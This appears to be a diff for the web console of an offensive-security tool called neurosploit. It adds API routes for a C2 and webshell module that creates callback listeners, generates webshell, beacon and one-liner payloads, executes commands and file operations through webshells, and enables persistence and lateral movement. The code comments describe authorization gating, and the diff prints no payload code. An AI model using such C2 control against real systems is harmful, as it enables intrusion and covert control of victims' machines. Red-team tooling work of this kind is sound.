border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
}
|
||||
.c2-payload {
|
||||
width: 100%;
|
||||
min-height: 180px;
|
||||
font-family: var(--mono);
|
||||
font-size: var(--fs-xs);
|
||||
background: var(--surface-2, rgba(127,127,127,.06));
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
padding: var(--sp-3);
|
||||
}
|
||||
#c2View .badge { display: inline-block; font-size: var(--fs-xs); font-weight: 600; padding: 2px 8px; border-radius: 999px; border: 1px solid var(--border); }
|
||||
#c2View .badge-ok { color: var(--sev-low-fg, #1a7f37); border-color: var(--sev-low-fg, #1a7f37); background: var(--sev-low-bg, rgba(26,127,55,.08)); }
|
||||
#c2View .badge-warn { color: var(--sev-medium-fg, #9a6700); border-color: var(--sev-medium-fg, #9a6700); background: var(--sev-medium-bg, rgba(154,103,0,.08)); }
|
||||
#c2View .badge-muted { color: var(--text-faint); }
|
||||
+343
@@ -122,6 +122,67 @@ const VERSION = binaryVersion();
|
||||
|
||||
const PORT = Number(process.env.NEUROSPLOIT_WEB_PORT || process.env.PORT || 4173);
|
||||
|
||||
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Toolbox / MCP tool servers — thin proxy over `neurosploit tools`.
|
||||
// The tool catalog and runner live in the harness; the console only drives it.
|
||||
// Nothing is executed unless the operator clicks Run (and target scope is
|
||||
// enforced by the CLI).
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
async function toolsCall(args) {
|
||||
const out = await runCli(['tools', ...args, '--json']);
|
||||
const text = stripAnsi(out.buf || '').trim();
|
||||
if (out.code !== 0) {
|
||||
let msg = text || 'tool command failed';
|
||||
try { const v = JSON.parse(text); msg = v.error || msg; } catch { /* keep text */ }
|
||||
throw new Error(msg);
|
||||
}
|
||||
try { return JSON.parse(text); }
|
||||
catch {
|
||||
const m = text.match(/\{[\s\S]*\}\s*$/);
|
||||
if (m) { try { return JSON.parse(m[0]); } catch { /* fall through */ } }
|
||||
throw new Error(text || 'tool command returned no JSON');
|
||||
}
|
||||
}
|
||||
|
||||
async function toolsText(args) {
|
||||
const out = await runCli(['tools', ...args]);
|
||||
if (out.code !== 0) throw new Error(stripAnsi(out.buf || '').trim() || 'tool command failed');
|
||||
return stripAnsi(out.buf || '').trim();
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// C2 / WebShell — thin proxy over the local C2 daemon (spawned by the CLI).
|
||||
// The daemon owns listener sockets, sessions, tasks and the audit trail; the
|
||||
// console never re-implements them. Disabled by default: every mutating call
|
||||
// fails closed until the operator enables it with an authorization reference.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
async function c2Call(args) {
|
||||
const prefix = args[0] === 'webshell' ? [] : ['c2'];
|
||||
const out = await runCli([...prefix, ...args, '--json']);
|
||||
const text = stripAnsi(out.buf || '').trim();
|
||||
if (out.code !== 0) {
|
||||
let msg = text || 'C2 command failed';
|
||||
try { const v = JSON.parse(text); msg = v.error || msg; } catch { /* keep text */ }
|
||||
throw new Error(msg);
|
||||
}
|
||||
try { return JSON.parse(text); }
|
||||
catch {
|
||||
const m = text.match(/\{[\s\S]*\}\s*$/);
|
||||
if (m) { try { return JSON.parse(m[0]); } catch { /* fall through */ } }
|
||||
throw new Error(text || 'C2 returned no JSON');
|
||||
}
|
||||
}
|
||||
|
||||
/// Values that become argv entries; the daemon re-validates everything.
|
||||
function c2PushStr(args, flag, value) {
|
||||
if (value !== undefined && value !== null && String(value).length) args.push(flag, String(value));
|
||||
}
|
||||
function c2PushBool(args, flag, on) { if (on) args.push(flag); }
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Providers — mirrors crates/harness/src/models.rs `providers()`. Kept as a
|
||||
// literal table (not parsed from CLI output) so `kind` ("cli" = usable via a
|
||||
@@ -1299,6 +1360,13 @@ function buildArgs(body) {
|
||||
if (body.reactive) args.push('--reactive');
|
||||
if (body.mcpProfile) args.push('--mcp-profile', body.mcpProfile);
|
||||
if (body.autonomy && body.autonomy !== 'standard') args.push('--autonomy', body.autonomy);
|
||||
// C2 is opt-in: without an authorization reference the CLI refuses to run it.
|
||||
if (body.c2) {
|
||||
if (body.c2Authorization) args.push('--c2-authorization', body.c2Authorization);
|
||||
if (body.c2Persistence) args.push('--c2-persistence');
|
||||
if (body.c2Lateral) args.push('--c2-lateral');
|
||||
args.push('--c2');
|
||||
}
|
||||
args.push('--verbose');
|
||||
return args;
|
||||
}
|
||||
@@ -1374,6 +1442,13 @@ function authArgs(body) {
|
||||
if (body.decisionBackend) args.push('--decision-backend', body.decisionBackend);
|
||||
if (body.intercept && body.intercept !== 'off') args.push('--intercept', body.intercept);
|
||||
if (body.sandbox) args.push('--sandbox', body.sandbox === 'default' ? '' : body.sandbox);
|
||||
// C2 is global (launcher-level), like the authorization ceiling.
|
||||
if (body.c2) {
|
||||
if (body.c2Authorization) args.push('--c2-authorization', body.c2Authorization);
|
||||
if (body.c2Persistence) args.push('--c2-persistence');
|
||||
if (body.c2Lateral) args.push('--c2-lateral');
|
||||
args.push('--c2');
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
@@ -1401,6 +1476,10 @@ function sanitizeLaunch(body) {
|
||||
quick: !!body.quick,
|
||||
research: !!body.research,
|
||||
maxAgents: body.maxAgents || undefined,
|
||||
c2: !!body.c2,
|
||||
c2Authorization: body.c2Authorization || undefined,
|
||||
c2Persistence: !!body.c2Persistence,
|
||||
c2Lateral: !!body.c2Lateral,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -2156,6 +2235,270 @@ const server = http.createServer(async (req, res) => {
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
|
||||
// ---- Toolbox / MCP tool servers ---------------------------------------
|
||||
if (p.startsWith('/api/tools') || p.startsWith('/api/mcp')) {
|
||||
try {
|
||||
if (req.method === 'GET' && p === '/api/tools') {
|
||||
const q = u.searchParams.get('q');
|
||||
const cat = u.searchParams.get('category');
|
||||
const args = q ? ['search', q] : ['list'];
|
||||
if (cat) args.push('--category', cat);
|
||||
return sendJson(res, 200, await toolsCall(args));
|
||||
}
|
||||
if (req.method === 'GET' && p === '/api/tools/profiles') {
|
||||
return sendJson(res, 200, await toolsCall(['profiles']));
|
||||
}
|
||||
let tm = p.match(/^\/api\/tools\/([\w.-]+)\/check$/);
|
||||
if ((req.method === 'GET' || req.method === 'POST') && tm) {
|
||||
const args = ['check', tm[1]];
|
||||
const body = req.method === 'POST' ? await readBody(req).catch(() => ({})) : {};
|
||||
if (body.sandbox || u.searchParams.get('sandbox') === '1') args.push('--sandbox');
|
||||
return sendJson(res, 200, await toolsCall(args));
|
||||
}
|
||||
tm = p.match(/^\/api\/tools\/([\w.-]+)$/);
|
||||
if (req.method === 'GET' && tm) {
|
||||
return sendJson(res, 200, await toolsCall(['info', tm[1]]));
|
||||
}
|
||||
if (req.method === 'POST' && p === '/api/tools/run') {
|
||||
const b = await readBody(req);
|
||||
const args = ['run', String(b.tool || '')];
|
||||
c2PushStr(args, '--target', b.target);
|
||||
c2PushStr(args, '--args', b.args);
|
||||
if (b.sandbox) args.push('--sandbox');
|
||||
if (b.provision) args.push('--provision');
|
||||
if (b.timeout) args.push('--timeout', String(Number(b.timeout) || 300));
|
||||
return sendJson(res, 200, await toolsCall(args));
|
||||
}
|
||||
if (req.method === 'POST' && p === '/api/tools/install') {
|
||||
const b = await readBody(req);
|
||||
const args = ['install', String(b.tool || '')];
|
||||
if (b.sandbox) args.push('--sandbox');
|
||||
return sendJson(res, 200, await toolsCall(args));
|
||||
}
|
||||
|
||||
if (req.method === 'GET' && p === '/api/mcp/servers') {
|
||||
return sendJson(res, 200, await toolsCall(['mcp', 'list']));
|
||||
}
|
||||
if (req.method === 'POST' && p === '/api/mcp/servers') {
|
||||
const b = await readBody(req);
|
||||
const action = String(b.action || 'add');
|
||||
if (!['add', 'remove'].includes(action)) return sendJson(res, 400, { error: 'action must be add or remove' });
|
||||
const out = await toolsText(['mcp', action, String(b.server || '')]);
|
||||
return sendJson(res, 200, { ok: true, output: out, ...(await toolsCall(['mcp', 'list'])) });
|
||||
}
|
||||
if (req.method === 'POST' && p === '/api/mcp/servers/test') {
|
||||
const b = await readBody(req);
|
||||
return sendJson(res, 200, await toolsCall(['mcp', 'test', String(b.server || '')]));
|
||||
}
|
||||
tm = p.match(/^\/api\/mcp\/servers\/([\w.-]+)$/);
|
||||
if (req.method === 'GET' && tm) {
|
||||
return sendJson(res, 200, await toolsCall(['mcp', 'json', tm[1]]));
|
||||
}
|
||||
return sendJson(res, 404, { error: 'not found' });
|
||||
} catch (e) {
|
||||
return sendJson(res, 400, { error: e.message });
|
||||
}
|
||||
}
|
||||
|
||||
// ---- C2 / WebShell management ------------------------------------------
|
||||
if (p.startsWith('/api/c2') || p.startsWith('/api/webshell')) {
|
||||
try {
|
||||
if (req.method === 'GET' && p === '/api/c2/status') {
|
||||
return sendJson(res, 200, await c2Call(['status']));
|
||||
}
|
||||
if (req.method === 'POST' && p === '/api/c2/enable') {
|
||||
const b = await readBody(req);
|
||||
if (!b.authorization || !String(b.authorization).trim()) {
|
||||
return sendJson(res, 400, { error: 'authorization reference is required to enable C2' });
|
||||
}
|
||||
const args = ['enable', '--authorization', String(b.authorization).trim()];
|
||||
c2PushBool(args, '--persistence', b.persistence);
|
||||
c2PushBool(args, '--lateral', b.lateral);
|
||||
c2PushBool(args, '--allow-public', b.allowPublic || b.allow_public);
|
||||
for (const h of String(b.hosts || '').split(/[,;\s]+/).filter(Boolean)) args.push('--host', h);
|
||||
return sendJson(res, 200, await c2Call(args));
|
||||
}
|
||||
if (req.method === 'POST' && p === '/api/c2/disable') {
|
||||
return sendJson(res, 200, await c2Call(['disable']));
|
||||
}
|
||||
if ((req.method === 'PUT' || req.method === 'POST') && p === '/api/c2/policy') {
|
||||
const b = await readBody(req);
|
||||
const args = ['policy'];
|
||||
c2PushStr(args, '--authorized-by', b.authorized_by);
|
||||
if (typeof b.allow_persistence === 'boolean') args.push('--persistence', String(b.allow_persistence));
|
||||
if (typeof b.allow_lateral === 'boolean') args.push('--lateral', String(b.allow_lateral));
|
||||
if (typeof b.allow_public_targets === 'boolean') args.push('--allow-public', String(b.allow_public_targets));
|
||||
if (Array.isArray(b.allowed_hosts) && b.allowed_hosts.length) {
|
||||
for (const h of b.allowed_hosts) args.push('--host', String(h));
|
||||
}
|
||||
return sendJson(res, 200, await c2Call(args));
|
||||
}
|
||||
|
||||
if (req.method === 'GET' && p === '/api/c2/listeners') {
|
||||
return sendJson(res, 200, await c2Call(['listener', 'list']));
|
||||
}
|
||||
if (req.method === 'POST' && p === '/api/c2/listeners') {
|
||||
const b = await readBody(req);
|
||||
const args = ['listener', 'create', '--name', String(b.name || 'listener')];
|
||||
c2PushStr(args, '--bind-host', b.bind_host);
|
||||
if (b.bind_port) args.push('--bind-port', String(Number(b.bind_port) || 8443));
|
||||
c2PushStr(args, '--callback-host', b.callback_host);
|
||||
if (b.sleep_seconds) args.push('--sleep', String(Number(b.sleep_seconds) || 5));
|
||||
if (b.jitter_percent) args.push('--jitter', String(Number(b.jitter_percent) || 0));
|
||||
return sendJson(res, 200, await c2Call(args));
|
||||
}
|
||||
let m2 = p.match(/^\/api\/c2\/listeners\/([\w.-]+)\/(start|stop)$/);
|
||||
if (req.method === 'POST' && m2) {
|
||||
return sendJson(res, 200, await c2Call(['listener', m2[2], m2[1]]));
|
||||
}
|
||||
m2 = p.match(/^\/api\/c2\/listeners\/([\w.-]+)$/);
|
||||
if (req.method === 'DELETE' && m2) {
|
||||
return sendJson(res, 200, await c2Call(['listener', 'delete', m2[1]]));
|
||||
}
|
||||
|
||||
if (req.method === 'GET' && p === '/api/c2/sessions') {
|
||||
return sendJson(res, 200, await c2Call(['session', 'list']));
|
||||
}
|
||||
m2 = p.match(/^\/api\/c2\/sessions\/([\w.-]+)\/sleep$/);
|
||||
if (req.method === 'POST' && m2) {
|
||||
const b = await readBody(req);
|
||||
const args = ['session', 'sleep', m2[1]];
|
||||
if (b.seconds) args.push('--seconds', String(Number(b.seconds) || 5));
|
||||
if (b.jitter) args.push('--jitter', String(Number(b.jitter) || 0));
|
||||
return sendJson(res, 200, await c2Call(args));
|
||||
}
|
||||
m2 = p.match(/^\/api\/c2\/sessions\/([\w.-]+)\/note$/);
|
||||
if (req.method === 'POST' && m2) {
|
||||
const b = await readBody(req);
|
||||
return sendJson(res, 200, await c2Call(['session', 'note', m2[1], '--note', String(b.note || '')]));
|
||||
}
|
||||
m2 = p.match(/^\/api\/c2\/sessions\/([\w.-]+)$/);
|
||||
if (req.method === 'DELETE' && m2) {
|
||||
return sendJson(res, 200, await c2Call(['session', 'kill', m2[1]]));
|
||||
}
|
||||
|
||||
if (req.method === 'GET' && p === '/api/c2/tasks') {
|
||||
const args = ['task', 'list'];
|
||||
if (u.searchParams.get('session_id')) args.push('--session', u.searchParams.get('session_id'));
|
||||
if (u.searchParams.get('status')) args.push('--status', u.searchParams.get('status'));
|
||||
return sendJson(res, 200, await c2Call(args));
|
||||
}
|
||||
if (req.method === 'POST' && p === '/api/c2/tasks') {
|
||||
const b = await readBody(req);
|
||||
const args = ['task', 'enqueue', '--session', String(b.session_id || ''), '--type', String(b.task_type || 'exec')];
|
||||
const payload = b.payload || {};
|
||||
args.push('--payload', JSON.stringify(payload));
|
||||
if (b.wait) args.push('--wait');
|
||||
if (b.timeout) args.push('--timeout', String(Number(b.timeout) || 60));
|
||||
return sendJson(res, 200, await c2Call(args));
|
||||
}
|
||||
m2 = p.match(/^\/api\/c2\/tasks\/([\w.-]+)\/wait$/);
|
||||
if (req.method === 'GET' && m2) {
|
||||
const t = Number(u.searchParams.get('timeout') || 60);
|
||||
return sendJson(res, 200, await c2Call(['task', 'wait', m2[1], '--timeout', String(t)]));
|
||||
}
|
||||
m2 = p.match(/^\/api\/c2\/tasks\/([\w.-]+)\/cancel$/);
|
||||
if (req.method === 'POST' && m2) {
|
||||
return sendJson(res, 200, await c2Call(['task', 'cancel', m2[1]]));
|
||||
}
|
||||
m2 = p.match(/^\/api\/c2\/tasks\/([\w.-]+)$/);
|
||||
if (req.method === 'GET' && m2) {
|
||||
return sendJson(res, 200, await c2Call(['task', 'get', m2[1]]));
|
||||
}
|
||||
|
||||
if (req.method === 'GET' && p === '/api/c2/events') {
|
||||
const n = Number(u.searchParams.get('limit') || 100);
|
||||
return sendJson(res, 200, await c2Call(['events', '--limit', String(n)]));
|
||||
}
|
||||
|
||||
if (req.method === 'GET' && p === '/api/c2/payloads') {
|
||||
return sendJson(res, 200, await c2Call(['payload', 'list']));
|
||||
}
|
||||
m2 = p.match(/^\/api\/c2\/payloads\/([\w.-]+)$/);
|
||||
if (req.method === 'GET' && m2) {
|
||||
const safe = m2[1];
|
||||
const file = path.join(ROOT, '.neurosploit', 'c2', 'payloads', safe);
|
||||
if (!file.startsWith(path.join(ROOT, '.neurosploit', 'c2', 'payloads') + path.sep) || !fs.existsSync(file)) {
|
||||
return sendJson(res, 404, { error: 'payload not found' });
|
||||
}
|
||||
res.writeHead(200, {
|
||||
'Content-Type': 'application/octet-stream',
|
||||
'Content-Disposition': `attachment; filename="${safe.replace(/[^a-zA-Z0-9_.-]/g, '_')}"`,
|
||||
});
|
||||
return fs.createReadStream(file).pipe(res);
|
||||
}
|
||||
if (req.method === 'POST' && p === '/api/c2/payloads/webshell') {
|
||||
const b = await readBody(req);
|
||||
const args = ['payload', 'webshell', '--shell-type', String(b.shell_type || 'php')];
|
||||
c2PushStr(args, '--password', b.password);
|
||||
c2PushStr(args, '--pass-param', b.pass_param);
|
||||
c2PushStr(args, '--cmd-param', b.cmd_param);
|
||||
c2PushStr(args, '--filename', b.filename);
|
||||
return sendJson(res, 200, await c2Call(args));
|
||||
}
|
||||
if (req.method === 'POST' && p === '/api/c2/payloads/beacon') {
|
||||
const b = await readBody(req);
|
||||
const args = ['payload', 'beacon', '--listener', String(b.listener_id || ''), '--kind', String(b.kind || 'bash')];
|
||||
c2PushStr(args, '--host', b.host);
|
||||
c2PushStr(args, '--filename', b.filename);
|
||||
return sendJson(res, 200, await c2Call(args));
|
||||
}
|
||||
if (req.method === 'POST' && p === '/api/c2/payloads/oneliner') {
|
||||
const b = await readBody(req);
|
||||
return sendJson(res, 200, await c2Call(['payload', 'oneliner', '--listener', String(b.listener_id || '')]));
|
||||
}
|
||||
|
||||
if (req.method === 'GET' && p === '/api/webshell/connections') {
|
||||
return sendJson(res, 200, await c2Call(['webshell', 'list']));
|
||||
}
|
||||
if (req.method === 'POST' && p === '/api/webshell/connections') {
|
||||
const b = await readBody(req);
|
||||
const args = ['webshell', 'add', '--url', String(b.url || '')];
|
||||
c2PushStr(args, '--name', b.name);
|
||||
c2PushStr(args, '--password', b.password);
|
||||
c2PushStr(args, '--shell-type', b.shell_type);
|
||||
c2PushStr(args, '--method', b.method);
|
||||
c2PushStr(args, '--cmd-param', b.cmd_param);
|
||||
c2PushStr(args, '--pass-param', b.pass_param);
|
||||
c2PushStr(args, '--os', b.os);
|
||||
c2PushStr(args, '--encoding', b.encoding);
|
||||
c2PushStr(args, '--note', b.note);
|
||||
return sendJson(res, 200, await c2Call(args));
|
||||
}
|
||||
m2 = p.match(/^\/api\/webshell\/connections\/([\w.-]+)$/);
|
||||
if ((req.method === 'PUT' || req.method === 'PATCH') && m2) {
|
||||
const b = await readBody(req);
|
||||
const args = ['webshell', 'update', m2[1]];
|
||||
for (const k of ['url', 'name', 'password', 'shell_type', 'method', 'cmd_param', 'pass_param', 'os', 'encoding', 'note']) {
|
||||
if (b[k] !== undefined) args.push('--' + k.replace(/_/g, '-'), String(b[k]));
|
||||
}
|
||||
return sendJson(res, 200, await c2Call(args));
|
||||
}
|
||||
if (req.method === 'DELETE' && m2) {
|
||||
return sendJson(res, 200, await c2Call(['webshell', 'delete', m2[1]]));
|
||||
}
|
||||
m2 = p.match(/^\/api\/webshell\/connections\/([\w.-]+)\/(test|exec|file)$/);
|
||||
if (req.method === 'POST' && m2) {
|
||||
const b = await readBody(req);
|
||||
if (m2[2] === 'test') return sendJson(res, 200, await c2Call(['webshell', 'test', m2[1]]));
|
||||
if (m2[2] === 'exec') {
|
||||
return sendJson(res, 200, await c2Call(['webshell', 'exec', '--id', m2[1], '--command', String(b.command || '')]));
|
||||
}
|
||||
const args = ['webshell', 'file', '--id', m2[1], '--action', String(b.action || 'list')];
|
||||
c2PushStr(args, '--path', b.path);
|
||||
c2PushStr(args, '--content', b.content);
|
||||
c2PushStr(args, '--target-path', b.target_path);
|
||||
return sendJson(res, 200, await c2Call(args));
|
||||
}
|
||||
|
||||
return sendJson(res, 404, { error: 'not found' });
|
||||
} catch (e) {
|
||||
return sendJson(res, 400, { error: e.message });
|
||||
}
|
||||
}
|
||||
|
||||
// ---- aggregate stats for the dashboard ----
|
||||
if (req.method === 'GET' && p === '/api/stats') {
|
||||
return sendJson(res, 200, await stats());
|
||||
|
||||
Reference in new issue
Block a user